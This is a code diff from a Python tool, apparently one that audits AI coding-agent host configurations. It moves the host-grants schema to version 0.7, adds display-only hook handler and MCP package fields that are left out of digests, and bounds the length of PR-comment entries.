HostBoundarySnapshot( inventory=inventory, cache=cache, input_failures=dict(cache.input_failures), plugin_reference_issue_ids=frozenset(plugin_reference_issue_ids), @@ -3437,7 +3709,7 @@ def host_audit_inventory( if snapshot is None: snapshot = build_host_boundary_snapshot(workspace, scope=scope, cache=cache) - inventory = HostGrantsInventoryV6.model_validate(snapshot.inventory) + inventory = HostGrantsInventoryV7.model_validate(snapshot.inventory) if inventory.scope != scope: raise ValueError( f"Host boundary snapshot scope {inventory.scope!r} does not match {scope!r}" @@ -3537,10 +3809,34 @@ def normalized_host_grants(inventory: dict[str, Any]) -> dict[str, Any]: def host_grants_sha256(grants: dict[str, Any]) -> str: - return _sha(grants) + """The digest of a normalized inventory, read as comparisons read it (#819). + + The display-only members :data:`DISPLAY_ONLY_GRANT_FIELDS` names are left + out, so a ``0.6`` inventory and its ``0.7`` reading of the same files have + one digest, and a ``0.6`` baseline's stored ``inventory_sha256`` still + verifies. Nothing they display is left unbound: each grant's + ``config_sha256``, which this digest covers, changes whenever they do. + """ + + if not isinstance(grants.get("grants"), list): + return _sha(grants) + return _sha({**grants, "grants": [compared_grant(grant) for grant in grants["grants"]]}) def build_host_grants_baseline(inventory: dict[str, Any]) -> dict[str, Any]: + """The baseline ``audit --host --save-baseline`` writes for ``inventory``. + + Each grant is saved as comparisons read it (:func:`compared_grant`), so a + saved baseline holds none of the display-only members + :data:`DISPLAY_ONLY_GRANT_FIELDS` names (#819). A baseline is committed, + and a hook's matcher, executable name and command digest, or an MCP + server's package and argument digest, read from a user or managed file + (``--scope local-static``) or a git-ignored ``.claude/settings.local.json`` + would otherwise put facts about files that were never in the repository + into it. No comparison, row or digest reads a saved copy, so leaving them + out loses nothing: ``inventory_sha256`` is the same either way. + """ + if not inventory_is_complete(inventory): raise ValueError( "Host-grants inventory is incomplete or experimental; fix its coverage " @@ -3551,9 +3847,27 @@ def build_host_grants_baseline(inventory: dict[str, Any]) -> dict[str, Any]: "host_grants_schema_version": HOST_GRANTS_BASELINE_SCHEMA_VERSION, "scope": inventory["scope"], "inventory_sha256": host_grants_sha256(normalized), - "inventory": normalized, + "inventory": { + **normalized, + "grants": [compared_grant(grant) for grant in normalized["grants"]], + }, } - return HostGrantsBaselineV6.model_validate(payload).model_dump(mode="json") + return HostGrantsBaselineV7.model_validate(payload).model_dump(mode="json") + + +def host_comparison_baseline(inventory: dict[str, Any]) -> dict[str, Any]: + """The baseline one side of a comparison between two reads stands for (#819). + + What :func:`build_host_grants_baseline` would save, refusals included, + with the full normalized inventory in place of the saved grants: a + comparison between two commits reads both sides fresh, and its rows render + the before side's hook handlers and MCP launch arguments. The display members are + left out of every comparison and digest, so what is compared is exactly + what the saved baseline would compare. It is never saved, loaded or + published as a baseline. + """ + + return {**build_host_grants_baseline(inventory), "inventory": normalized_host_grants(inventory)} def load_host_grants_baseline(path: Path) -> dict[str, Any]: @@ -3597,7 +3911,7 @@ def load_host_grants_baseline_with_text( "and repair or replace it deliberately." ) return data, text - if version not in {"0.2", "0.3", "0.4", "0.5", HOST_GRANTS_BASELINE_SCHEMA_VERSION}: + if version not in {"0.2", "0.3", "0.4", "0.5", "0.6", HOST_GRANTS_BASELINE_SCHEMA_VERSION}: raise ValueError( f"Host-grants baseline {path} has unsupported schema version " f"{version!r}. A human must review migration or replacement." @@ -3605,7 +3919,7 @@ def load_host_grants_baseline_with_text( try: model = {"0.2": HostGrantsBaselineV2, "0.3": HostGrantsBaselineV3, "0.4": HostGrantsBaselineV4, "0.5": HostGrantsBaselineV5, - "0.6": HostGrantsBaselineV6}[version] + "0.6": HostGrantsBaselineV6, "0.7": HostGrantsBaselineV7}[version] parsed = model.model_validate(data).model_dump(mode="json") except ValidationError: return ( @@ -3771,11 +4085,40 @@ def diff_host_grants(baseline: dict[str, Any], current: dict[str, Any]) -> list[ for grant_id in sorted(set(base_by_id) | set(current_by_id)): before = base_by_id.get(grant_id) after = current_by_id.get(grant_id) - if before != after and not _same_workflow_grant(before, after): + if compared_grant(before) != compared_grant(after) and not _same_workflow_grant( + before, after + ): changes.append({"grant_id": grant_id, "baseline": before, "current": after}) return changes +#: Members a grant publishes to display what its ``config_sha256`` already +#: binds (#819): a hook's handlers and an MCP server's package and argument +#: digest. Each is a function of the configuration as that digest's input +#: holds it, and publishes no command or argument text but a plain-token +#: executable name and a package specification, so it can change only when +#: the digest does. Grant equality and the inventory digests leave them out: +#: a change is still a row, through ``config_sha256``, and a ``0.6`` grant, +#: which has none of them, compares equal to its ``0.7`` reading of the same +#: configuration. A saved baseline holds none of them +#: (:func:`build_host_grants_baseline`). +DISPLAY_ONLY_GRANT_FIELDS: dict[str, frozenset[str]] = { + "hook": frozenset({"handlers", "omitted_handlers"}), + "mcp_server": frozenset({"package", "args_sha256"}), +} + + +def compared_grant(grant: dict[str, Any] | None) -> dict[str, Any] | None: + """The grant as comparisons and digests read it: without its display-only members (#819).""" + + if grant is None: + return None + hidden = DISPLAY_ONLY_GRANT_FIELDS.get(str(grant.get("kind"))) + if not hidden or not hidden.intersection(grant): + return grant + return {key: value for key, value in grant.items() if key not in hidden} + + def _same_workflow_grant(before: dict | None, after: dict | None) -> bool: if any( not grant or grant.get("kind") != "workflow" or "permission_contexts" not in grant @@ -4109,7 +4452,7 @@ def _incomparable_payload( # and also route to a human before any first acknowledgement. "next_action": None, } - return HostGrantsDriftV6.model_validate(payload).model_dump(mode="json") + return HostGrantsDriftV7.model_validate(payload).model_dump(mode="json") #: Baseline versions a drift comparison reads as current. v0.5 only adds @@ -4118,8 +4461,20 @@ def _incomparable_payload( #: inventory can never be saved, so a v0.4 baseline holds no artifact that v0.5 #: would describe differently. Accepting it keeps every saved baseline usable. #: v0.6 adds workflow step references (#771); the rule below narrows which -#: v0.4/v0.5 baselines that acceptance still covers. -_COMPARABLE_BASELINE_SCHEMA_VERSIONS = frozenset({"0.4", "0.5", HOST_GRANTS_BASELINE_SCHEMA_VERSION}) +#: v0.4/v0.5 baselines that acceptance still covers. v0.7 adds only the hook +#: and MCP detail no comparison reads (#819), so a v0.6 baseline compares as +#: it did. +_COMPARABLE_BASELINE_SCHEMA_VERSIONS = frozenset( + {"0.4", "0.5", "0.6", HOST_GRANTS_BASELINE_SCHEMA_VERSION} +) + +#: Baseline versions ``audit --host --save-baseline`` may replace (#819). Every +#: grant a v0.6 baseline holds compares exactly as its v0.7 reading does: v0.7 +#: adds only the display members :data:`DISPLAY_ONLY_GRANT_FIELDS` names, which +#: no comparison and no digest reads, so refusing to replace one would make +#: every v0.6 baseline a move-aside step for no change in what is compared. +#: Older baselines stay refused, as they were (#771). +OVERWRITABLE_BASELINE_SCHEMA_VERSIONS = frozenset({"0.6", HOST_GRANTS_BASELINE_SCHEMA_VERSION}) #: Baseline versions whose workflow grants never read step action references #: (#771). Such a grant's missing ``step_actions`` is not evidence that no @@ -4196,7 +4551,7 @@ def _comparable_drift_payload( "incomparable_reasons": [], "next_action": None, } - return HostGrantsDriftV6.model_validate(payload).model_dump(mode="json") + return HostGrantsDriftV7.model_validate(payload).model_dump(mode="json") def build_host_comparison_payload( @@ -4340,6 +4695,7 @@ def render_host_drift_markdown(payload: dict[str, Any]) -> str: "diff_host_grants", "hook_loading_basis", "host_audit_inventory", + "host_comparison_baseline", "host_grant_expansion_signals", "host_grants_sha256", "inventory_is_complete", diff --git a/src/agents_shipgate/report/host_comparison.py b/src/agents_shipgate/report/host_comparison.py index 1a17e43cf..0512b1f2d 100644 --- a/src/agents_shipgate/report/host_comparison.py +++ b/src/agents_shipgate/report/host_comparison.py @@ -380,7 +380,7 @@ def coverage_item_text(item: HostComparisonCoverageItem, *, markdown: bool = Fal #: The most characters the block takes in a PR comment, whose human summary #: is bounded as a whole. It gets at most this much of the room the comment's -#: other lines leave, never more: see :func:`with_coverage_in_room`. +#: other lines leave, never more: see :func:`coverage_budget`. MARKDOWN_COVERAGE_MAX_CHARS = 2000 @@ -505,10 +505,122 @@ def block(listed: list[str], items: int) -> list[str]: return next((candidate for candidate in candidates if fits(candidate)), []) -def with_coverage_in_room( - comparison: HostComparison, lines_for: Callable[[int], list[str]], room: int +#: The fewest characters a bounded surface cuts an entry to (#819 review, +#: cycle 6): a shorter prefix names too little of the change to read. Under +#: it, ``entry_max_chars`` prints an entry longer than the bound in its +#: shortest form instead (:func:`_shortest_form`), and ``0`` every entry that +#: has one. +ENTRY_MIN_CHARS = 60 + +#: Printed once after the rows when a bounded surface shortened an entry, +#: never after each one: one pointer per entry cost more than the entries it +#: saved room for (#819 review, cycle 6). +ENTRIES_SHORTENED = "Some entries are shortened here to fit; `verifier.json` holds each entry whole." + + +def entry_text(change: ReviewChange) -> str: + """An entry as one line reads it whole: the field-level difference, or ``before → after``.""" + + return change.change if change.change is not None else f"{change.before} → {change.after}" + + +def _shortest_form( + comparison: HostComparison, change: ReviewChange, text: Callable[[object], str] +) -> str | None: + """The shortest form a bounded surface may print an entry in, rendered by ``text`` (#819 review, cycle 6). + + A field-level difference is cut after the name it opens with, + ``PreToolUse: …`` or ``docs: …``; an added or removed grant is its row's + own ``before → after``, ``(absent) → PreToolUse``. Neither is longer than + the entry ``1.1.0`` printed for the same row, of any kind: a hook's read + ``PreToolUse → PreToolUse`` and an MCP server's ``docs:`` and at least one + difference. ``None`` for a joined change and a permission rule, whose + entries name a disposition and read exactly as ``1.1.0`` printed them. + The surface prints the form only where it is the shorter. + """ + + if len(change.row_indexes) != 1 or not 0 <= change.row_indexes[0] < len(comparison.rows): + return None + row = comparison.rows[change.row_indexes[0]] + if row.disposition is not None: + return None + if change.change is not None: + return text(change.change[: len(row.after) + 2] + "…") + return f"{text(row.before)} → {text(row.after)}" + + +def with_entries_in_room( + comparison: HostComparison, + lines_for: Callable[[int, int | None, bool], list[str]], + room: int, ) -> list[str]: - """A bounded Markdown surface's lines, the coverage block given only the room left (#812). + """A bounded Markdown surface's lines, each entry as long as the room allows (#819 review, cycles 4 and 6). + + ``lines_for(coverage_max_chars, entry_max_chars, entry_note)`` renders + every line of the surface (:func:`host_comparison_lines`); ``room`` is how + many characters they may take joined. The lines ``1.1.0`` printed come + first: the coverage block gets the room the other lines leave with every + entry in its shortest form (:func:`coverage_budget`), at least the room + ``1.1.0``'s lines left it, and the entries get only what is left after + it. The first of these at which every line fits is used, each bound found + by bisection, since a narrower one never lengthens the surface: + + 1. every entry whole; + 2. every entry longer than the widest bound of at least + :data:`ENTRY_MIN_CHARS` at which they fit cut to it, ending in ``…``; + 3. every entry longer than the widest bound under that at which they fit + printed in its shortest form (:func:`_shortest_form`), longest first, + down to every entry that has one; + 4. the same without the line after the rows. + + The second and third print :data:`ENTRIES_SHORTENED` once after the rows. + In its shortest form no entry is longer than the one ``1.1.0`` printed, + and a permission rule's and a joined change's are the ones it printed, + so wherever ``1.1.0``'s own lines fit the fourth prints every one of + them: the row headings, the coverage block, the review question, the + reproduction and whatever the surface prints after them. When not even + it fits, it is returned, and the surface's own bound cuts it, as it cut + ``1.1.0``'s. + """ + + coverage = coverage_budget( + comparison, + lambda coverage_max_chars: lines_for(coverage_max_chars, 0, False), + room, + ) + + def fitting(entry_max_chars: int | None, entry_note: bool = True) -> list[str] | None: + lines = lines_for(coverage, entry_max_chars, entry_note) + return lines if len("\n".join(lines)) <= room else None + + def widest_fitting(low: int, high: int, entry_note: bool = True) -> list[str] | None: + # The narrowest bound first: where not even it fits, no wider one does. + best = fitting(low, entry_note) if low <= high else None + low += 1 + while best is not None and low <= high: + middle = (low + high) // 2 + candidate = fitting(middle, entry_note) + if candidate is None: + high = middle - 1 + else: + best, low = candidate, middle + 1 + return best + + widest = max((len(entry_text(change)) for change in presented_changes(comparison)), default=0) + shortest = min(ENTRY_MIN_CHARS, widest) - 1 + return ( + fitting(None) + or widest_fitting(ENTRY_MIN_CHARS, widest - 1) + or widest_fitting(0, shortest) + or widest_fitting(0, shortest, entry_note=False) + or lines_for(coverage, 0, False) + ) + + +def coverage_budget( + comparison: HostComparison, lines_for: Callable[[int], list[str]], room: int +) -> int: + """The bound a bounded Markdown surface gives its coverage block: the room left (#812). ``lines_for(max_chars)`` renders every line of the surface, the coverage block bounded to ``max_chars`` (``0`` leaves it out); ``room`` is how many @@ -518,15 +630,15 @@ def with_coverage_in_room( reproduction, and the advisory, next action and evidence after them — it still shows with it (review cycle 5). The heading and the boundary line are never dropped to make room for an item: when not even they and a count fit, - the block is left out; whatever the other lines alone overflow is theirs, - as without coverage. + the block is left out (``0``); whatever the other lines alone overflow is + theirs, as without coverage. """ without = lines_for(0) spare = room - len("\n".join(without)) widest = coverage_lines(comparison, markdown=True, max_chars=MARKDOWN_COVERAGE_MAX_CHARS) if spare <= 0 or not widest: - return without + return 0 # The blank line that sets the block apart costs the same whatever it lists. separators = ( len("\n".join(lines_for(MARKDOWN_COVERAGE_MAX_CHARS))) @@ -534,18 +646,30 @@ def with_coverage_in_room( - len("\n".join(widest)) ) budget = min(MARKDOWN_COVERAGE_MAX_CHARS, spare - separators) - lines = lines_for(budget) if budget > 0 else without - return lines if len("\n".join(lines)) <= room else without + return budget if budget > 0 and len("\n".join(lines_for(budget))) <= room else 0 def host_comparison_lines( - comparison: HostComparison, *, markdown: bool = False, coverage_max_chars: int | None = None + comparison: HostComparison, + *, + markdown: bool = False, + coverage_max_chars: int | None = None, + entry_max_chars: int | None = None, + entry_note: bool = True, ) -> list[str]: """The host comparison a reviewer reads, coverage block included. ``coverage_max_chars`` bounds the block as :func:`coverage_lines` does; ``None`` lists every item. A bounded surface passes the room its other - lines leave, through :func:`with_coverage_in_room`. + lines leave, through :func:`coverage_budget`. ``entry_max_chars`` + bounds each entry's ``before → after`` or field-level difference: ``None`` + prints every entry whole; a bound of at least :data:`ENTRY_MIN_CHARS` + cuts a longer entry to that many characters, ending in ``…``; a smaller + one prints a longer entry in its shortest form (:func:`_shortest_form`), + so ``0`` prints every entry that has one that way. Where any entry was + shortened, one line after the rows says so and names ``verifier.json`` + (:data:`ENTRIES_SHORTENED`), unless ``entry_note`` is false. A bounded + surface picks the bound through :func:`with_entries_in_room`. """ def text(value): @@ -599,14 +723,29 @@ def text(value): lines.append( "No static host-grant changes detected in the covered comparison. No verdict is implied." ) + # A bound of at least ENTRY_MIN_CHARS cuts a longer entry; a smaller one + # prints it in its shortest form (#819 review, cycle 6). + cut_to = entry_max_chars if entry_max_chars is not None and entry_max_chars >= ENTRY_MIN_CHARS else None + shortest_past = entry_max_chars if cut_to is None else None + shortened = False for change in changes: # The same mark `diff` prints: the engine called this change a widening. marker = "⚠ " if change.expands else "" + whole = entry_text(change) transition = ( text(change.change) if change.change is not None else f"{text(change.before)} → {text(change.after)}" ) + shortest = ( + _shortest_form(comparison, change, text) + if shortest_past is not None and len(whole) > shortest_past + else None + ) + if shortest is not None and len(shortest) < len(transition): + transition, shortened = shortest, True + elif cut_to is not None and len(whole) > cut_to: + transition, shortened = text(whole[: cut_to - 1] + "…"), True lines.extend( [ f"- {marker}{text(change.severity)} / {text(change.direction)} — {text(change.subject)}", @@ -614,6 +753,9 @@ def text(value): f" {text(change.why)}", ] ) + if shortened and entry_note: + # Its own paragraph: it would otherwise continue the last row's item. + lines.extend([*([""] if markdown else []), ENTRIES_SHORTENED]) if coverage and markdown and changes: # Ends the row list: the heading would otherwise continue its last item. lines.append("") diff --git a/src/agents_shipgate/report/pr_comment.py b/src/agents_shipgate/report/pr_comment.py index 079dd2d95..64a1389b6 100644 --- a/src/agents_shipgate/report/pr_comment.py +++ b/src/agents_shipgate/report/pr_comment.py @@ -60,6 +60,9 @@ _COMMENT_CAPABILITY_MAX_CHARS = 1200 _COMMENT_PROSE_FIELD_MAX_CHARS = 400 _COMMENT_PROSE_OMISSION = "- … additional human summary detail omitted; see report.md." +# As long as the line it replaces, so a comment cut without a report keeps +# every line 1.1.0's cut kept (#819 review, cycle 6). +_HOST_COMPARISON_OMISSION = "- … more human summary detail omitted; see `verifier.json`." # Changed declaration exceptions receive their own deterministic block budget. # Packet §1 remains exhaustive; only the PR surface names a bounded prefix and # states exactly how many rows live in report.json. @@ -112,7 +115,11 @@ def _render_capability_review_comment( human_context: HumanArtifactContext | None, human_review_request: HumanReviewRequestV1 | None, ) -> str: - def prose(coverage_max_chars: int | None = None) -> list[str]: + def prose( + coverage_max_chars: int | None = None, + entry_max_chars: int | None = None, + entry_note: bool = True, + ) -> list[str]: return [ STICKY_MARKER, "## Agents Shipgate", @@ -123,6 +130,8 @@ def prose(coverage_max_chars: int | None = None) -> list[str]: capability_lock_diff=capability_lock_diff, human_context=human_context, coverage_max_chars=coverage_max_chars, + entry_max_chars=entry_max_chars, + entry_note=entry_note, ), ] @@ -131,17 +140,22 @@ def prose(coverage_max_chars: int | None = None) -> list[str]: if verifier.host_comparison is None: prose_lines = prose() else: - from agents_shipgate.report.host_comparison import with_coverage_in_room + from agents_shipgate.report.host_comparison import with_entries_in_room # The coverage block takes only room the rest of the comment leaves - # under the agent block it would get without the block (#812). + # under the agent block it would get without the block (#812), and an + # entry is shortened only when the comment would otherwise lose a + # line after it (#819 review, cycles 4 and 6). The agent block is + # chosen with every entry in its shortest form (bound 0, no note), + # never longer than 1.1.0's, so a long entry never costs the full + # block 1.1.0 kept. full_room = _COMMENT_MAX_CHARS - len("\n".join(agent_block)) - 1 room = ( full_room - if len("\n".join(prose(0))) <= full_room + if len("\n".join(prose(0, 0, False))) <= full_room else _COMMENT_MAX_CHARS - len("\n".join(compact_agent_block)) - 1 ) - prose_lines = with_coverage_in_room(verifier.host_comparison, prose, room) + prose_lines = with_entries_in_room(verifier.host_comparison, prose, room) comment = "\n".join([*prose_lines, *agent_block]) if len(comment) <= _COMMENT_MAX_CHARS: return comment @@ -150,6 +164,8 @@ def prose(coverage_max_chars: int | None = None) -> list[str]: prose_lines, compact_agent_block, limit=_COMMENT_MAX_CHARS, + # Without a report there is no `report.md` to point to (#819 review, cycle 4). + omission=_COMMENT_PROSE_OMISSION if report is not None else _HOST_COMPARISON_OMISSION, ) @@ -160,13 +176,19 @@ def _human_summary_lines( capability_lock_diff: CapabilityLockDiffV1 | None, human_context: HumanArtifactContext | None, coverage_max_chars: int | None = None, + entry_max_chars: int | None = None, + entry_note: bool = True, ) -> list[str]: lines = ["", "### Human summary"] if verifier.host_comparison is not None: from agents_shipgate.report.host_comparison import host_comparison_lines lines.extend( host_comparison_lines( - verifier.host_comparison, markdown=True, coverage_max_chars=coverage_max_chars + verifier.host_comparison, + markdown=True, + coverage_max_chars=coverage_max_chars, + entry_max_chars=entry_max_chars, + entry_note=entry_note, ) ) lines.append("Advisory: no application release policy configured. This comparison grants no merge authority.") @@ -607,6 +629,7 @@ def _join_with_preserved_agent_block( agent_block: list[str], *, limit: int, + omission: str = _COMMENT_PROSE_OMISSION, ) -> str: block = "\n".join(agent_block) budget = limit - len(block) - 1 @@ -614,7 +637,7 @@ def _join_with_preserved_agent_block( prose = _truncate_markdown_lines( prose_lines, budget, - omission=_COMMENT_PROSE_OMISSION, + omission=omission, ) else: prose = "\n".join( @@ -673,16 +696,22 @@ def _render_findings_comment( if verifier.host_comparison is not None: from agents_shipgate.report.host_comparison import ( host_comparison_lines, - with_coverage_in_room, + with_entries_in_room, ) comparison = verifier.host_comparison - def host_lines(coverage_max_chars: int) -> list[str]: + def host_lines( + coverage_max_chars: int, entry_max_chars: int | None, entry_note: bool + ) -> list[str]: return [ *lines, *host_comparison_lines( - comparison, markdown=True, coverage_max_chars=coverage_max_chars + comparison, + markdown=True, + coverage_max_chars=coverage_max_chars, + entry_max_chars=entry_max_chars, + entry_note=entry_note, ), "Advisory: no application release policy configured. This comparison grants no merge authority.", *(_next_actor_lines(verifier) if comparison.comparison_status != "comparable" else []), @@ -690,9 +719,10 @@ def host_lines(coverage_max_chars: int) -> list[str]: ] return _truncate_markdown_lines( - with_coverage_in_room(comparison, host_lines, _COMMENT_MAX_CHARS), + with_entries_in_room(comparison, host_lines, _COMMENT_MAX_CHARS), _COMMENT_MAX_CHARS, - omission=_COMMENT_PROSE_OMISSION, + # Without a report there is no `report.md` to point to (#819 review, cycle 4). + omission=_COMMENT_PROSE_OMISSION if report is not None else _HOST_COMPARISON_OMISSION, ) if human_review_request is not None: lines.extend(human_review_lines(human_review_request)) diff --git a/src/agents_shipgate/schemas/contract.py b/src/agents_shipgate/schemas/contract.py index 7c3ab79b0..82d61706b 100644 --- a/src/agents_shipgate/schemas/contract.py +++ b/src/agents_shipgate/schemas/contract.py @@ -237,6 +237,18 @@ # not comparable: every control state, permission, route and ``check`` # decision is the refusal's, and the control envelope projects it as # ``incomparable`` with no rows. A 0.20 verifier claiming either is refused. +# v41 also publishes what changed in a hook and in an MCP server's launch +# (#819). Host-grants inventory, baseline and drift move to 0.7: a hook grant +# adds ``handlers[]`` (each group's matcher, the handler's command as its +# executable's name and a digest, and its timeout) and ``omitted_handlers``, +# and an MCP server grant adds ``package`` and ``args_sha256``. No command or +# argument text is published. +# They display what ``config_sha256`` already binds, so grant equality and the +# inventory digests leave them out: a 0.6 baseline stays comparable with no new +# row or reason, and ``audit --host --save-baseline`` may replace it. It moves +# no row value, row count, verifier or capability-diff schema; the field +# difference reaches the text and ``review.changes[].change``. +# ``MINIMUM_CONTROL_CONTRACT_VERSION`` stays at 21. CONTRACT_VERSION: Literal["41"] = "41" MINIMUM_CONTROL_CONTRACT_VERSION: Literal["21"] = "21" GATING_SIGNAL: Literal["release_decision.decision"] = "release_decision.decision" diff --git a/src/agents_shipgate/schemas/host_grants.py b/src/agents_shipgate/schemas/host_grants.py index ed08f8f10..d99884739 100644 --- a/src/agents_shipgate/schemas/host_grants.py +++ b/src/agents_shipgate/schemas/host_grants.py @@ -6,9 +6,9 @@ from agents_shipgate.schemas.instruction_structure import InstructionStructureEvidence -HOST_GRANTS_INVENTORY_SCHEMA_VERSION = "0.6" -HOST_GRANTS_BASELINE_SCHEMA_VERSION = "0.6" -HOST_GRANTS_DRIFT_SCHEMA_VERSION = "0.6" +HOST_GRANTS_INVENTORY_SCHEMA_VERSION = "0.7" +HOST_GRANTS_BASELINE_SCHEMA_VERSION = "0.7" +HOST_GRANTS_DRIFT_SCHEMA_VERSION = "0.7" HostName = Literal["codex", "claude-code", "cursor", "vscode", "github"] HostGrantScope = Literal["repository", "local_static"] @@ -618,4 +618,138 @@ class HostGrantsDriftArtifactV6(RootModel[HostGrantsDriftV6]): root: HostGrantsDriftV6 +# v0.7 publishes what changed in a hook and in an MCP server's launch (#819). +# A hook row used to read `PostToolUse → PostToolUse` whether its matcher, its +# command or its timeout changed, and an MCP row could not show a version pin +# moving to `@latest`: the grants carried none of it, and only `config_sha256` +# saw the edit. These members display what `config_sha256` already binds. No +# command or argument text is published: a command is its executable's name +# and a digest, and an MCP server's arguments are a package specification and +# a digest. No comparison and no inventory digest reads them, so a `0.6` grant +# and its `0.7` reading of the same configuration compare as the same grant. +class HostHookCommandV7(BaseModel): + """A hook command as its grant publishes it: the executable's name and a digest of the whole command. + + ``executable`` is the last path segment of the command's first + whitespace-separated word, when it is a plain token + (``[A-Za-z0-9._+-]``, at most 80 characters) no redaction rule rewrites + and the word is no shell reserved word and holds no ``://``, and + ```` otherwise, so no part of a URL is named. It + is a label, not a claim about what a host runs. ``sha256`` is the digest of the whole command as + ``config_sha256``'s input holds it, so it moves only when that digest + does; a value that input redacts moves neither. The command's text is + never published. + """ + + model_config = ConfigDict(extra="forbid") + + executable: str + sha256: str = Field(pattern=r"^[0-9a-f]{64}$") + + +class HostHookHandlerV7(BaseModel): + """One hook handler under an event: its group's matcher, its command and its timeout. + + ``matcher`` is ``None`` when its group declares none, which the host reads + as every tool or source, and ```` when it is not a string or is + longer than 1,024 characters as ``config_sha256``'s input holds it; + otherwise it passes through the published-label redaction and is cut at + 120 characters. ``command`` is ``None`` for a handler with + no command string, such as a ``prompt`` handler, whose prompt is not + published. ``timeout`` is the declared number or boolean; an integer of + more than 80 digits is published as its digits cut with ``…``, a string + as written when it is a plain token, and any other value, a non-finite + float among them, as ````. Other handler settings are not + published; a change confined to them is a row whose text says it is not + shown. + """ + + model_config = ConfigDict(extra="forbid") + + matcher: str | None = None + command: HostHookCommandV7 | None = None + # `bool` first: pydantic's lax `int` would otherwise read `true` as `1`. + timeout: bool | int | float | str | None = None + + +class HostHookGrantV7(HostHookGrantV2): + #: Every handler the event declares, in file order, at most a bounded + #: number; ``omitted_handlers`` counts the rest. ``None`` when the event's + #: value is not a list of matcher groups each holding a ``hooks`` list of + #: objects whose ``command``, when present, is a string, the shape this + #: reader establishes: the detail is then not shown rather than guessed. Always present in a ``0.7`` inventory grant, + #: so its absence marks a grant a saved baseline holds or an earlier + #: schema read. + handlers: list[HostHookHandlerV7] | None + omitted_handlers: int = Field(default=0, ge=0) + + +class HostMcpServerGrantV7(HostMcpServerGrantV2): + #: The one argument published as written: the first that is a package + #: specification of a strict shape (npm ``name@version`` or + #: ``@scope/name@version``, PyPI ``name==version``, or an OCI image + #: reference with a path and a tag or digest), that no redaction rule + #: rewrites and that follows no flag but a package runner's own (``-y``, + #: ``--from``, ``--rm`` …). ``None`` when no argument is one. + package: str | None + #: The digest of the declared ``args`` as ``config_sha256``'s input holds + #: them, the package replaced by a marker and its position digested beside + #: them, so every other argument is compared and none is published. + #: ``None`` when no ``args`` is declared. + #: Both members are always present in a ``0.7`` inventory grant; a saved + #: baseline holds neither. + args_sha256: str | None = Field(pattern=r"^[0-9a-f]{64}$") + + +HostGrantV7 = Annotated[ + HostMcpServerGrantV7 + | HostPermissionRuleGrantV2 + | HostPermissionModeGrantV2 + | HostHookGrantV7 + | HostSandboxGrantV2 + | HostAdditionalPathGrantV2 + | HostPluginGrantV2 + | HostProfileGrantV2 + | HostRequirementGrantV2 + | HostWorkflowGrantV6 + | HostInstructionGrantV2, + Field(discriminator="kind"), +] + + +class HostGrantsInventoryV7(HostGrantsInventoryV6): + host_grants_inventory_schema_version: Literal["0.7"] = "0.7" + grants: list[HostGrantV7] = Field(default_factory=list) + + +class HostGrantsBaselineV7(HostGrantsBaselineV6): + """A saved ``0.7`` baseline: the grants a ``0.6`` baseline holds, under the ``0.7`` version. + + A saved baseline holds no hook ``handlers`` and no MCP ``package`` or + ``args_sha256`` (#819): it is committed, and those members, read from a + user, managed or git-ignored file, would carry facts about files that were + never in the repository into it. No comparison, row or digest reads a + saved copy of them, so its ``inventory`` is the ``0.6`` snapshot, which + forbids them. + """ + + host_grants_schema_version: Literal["0.7"] = "0.7" + + +class HostGrantsDriftV7(HostGrantsDriftV6): + host_grants_schema_version: Literal["0.7"] = "0.7" + + +class HostGrantsInventoryArtifactV7(RootModel[HostGrantsInventoryV7]): + root: HostGrantsInventoryV7 + + +class HostGrantsBaselineArtifactV7(RootModel[HostGrantsBaselineV7]): + root: HostGrantsBaselineV7 + + +class HostGrantsDriftArtifactV7(RootModel[HostGrantsDriftV7]): + root: HostGrantsDriftV7 + + __all__ = [name for name in globals() if name.startswith("Host") or name.startswith("HOST_")] diff --git a/tests/test_agent_instructions_apply.py b/tests/test_agent_instructions_apply.py index 822625edf..867aa636b 100644 --- a/tests/test_agent_instructions_apply.py +++ b/tests/test_agent_instructions_apply.py @@ -205,9 +205,9 @@ def test_local_contract_renderer_has_required_fields() -> None: assert payload["registry_schema_version"] == "0.4" assert payload["org_evidence_bundle_schema_version"] == ("shipgate.org_evidence_bundle/v2") assert payload["agent_boundary_result_schema_version"] == ("shipgate.agent_boundary_result/v3") - assert payload["host_grants_inventory_schema_version"] == "0.6" - assert payload["host_grants_baseline_schema_version"] == "0.6" - assert payload["host_grants_drift_schema_version"] == "0.6" + assert payload["host_grants_inventory_schema_version"] == "0.7" + assert payload["host_grants_baseline_schema_version"] == "0.7" + assert payload["host_grants_drift_schema_version"] == "0.7" assert payload["trigger_catalog_schema_version"] == "0.4" assert payload["gating_signal"] == "release_decision.decision" assert payload["default_paths"]["local_contract"] == ".shipgate/agent-contract.json" diff --git a/tests/test_agent_instructions_renderers.py b/tests/test_agent_instructions_renderers.py index 8ce0e4c87..58120718b 100644 --- a/tests/test_agent_instructions_renderers.py +++ b/tests/test_agent_instructions_renderers.py @@ -220,9 +220,9 @@ def test_local_contract_renderer_exposes_agent_operational_fields() -> None: assert payload["attestation_schema_version"] == "0.5" assert payload["registry_schema_version"] == "0.4" assert payload["org_evidence_bundle_schema_version"] == ("shipgate.org_evidence_bundle/v2") - assert payload["host_grants_inventory_schema_version"] == "0.6" - assert payload["host_grants_baseline_schema_version"] == "0.6" - assert payload["host_grants_drift_schema_version"] == "0.6" + assert payload["host_grants_inventory_schema_version"] == "0.7" + assert payload["host_grants_baseline_schema_version"] == "0.7" + assert payload["host_grants_drift_schema_version"] == "0.7" assert payload["trigger_catalog_schema_version"] == "0.4" assert payload["agent_result_control_fields"] == [ "decision", diff --git a/tests/test_distribution_surface_parity.py b/tests/test_distribution_surface_parity.py index 9056ebbff..c76e67cdb 100644 --- a/tests/test_distribution_surface_parity.py +++ b/tests/test_distribution_surface_parity.py @@ -226,7 +226,13 @@ def paths(self) -> list[Path]: # reserved coverage `scope`, and is read as incomparable by every # control route, so it adds no claim; every route to the same object, # and every refusal it must keep, is held by - # `tests/test_partial_host_comparison.py`. + # `tests/test_partial_host_comparison.py`. Its hook and MCP-argument + # text (#819) renders the handlers, package and argument digest the + # engine published on the grant, which hold no command or argument + # text: a display of what `config_sha256` binds, left out of grant + # equality and the inventory digests, so it restates no answer and + # moves no row; `tests/test_hook_mcp_detail_fields.py` holds every + # route to the same entry. {}, ), Surface( diff --git a/tests/test_hook_mcp_detail_fields.py b/tests/test_hook_mcp_detail_fields.py new file mode 100644 index 000000000..35064243a --- /dev/null +++ b/tests/test_hook_mcp_detail_fields.py @@ -0,0 +1,1553 @@ 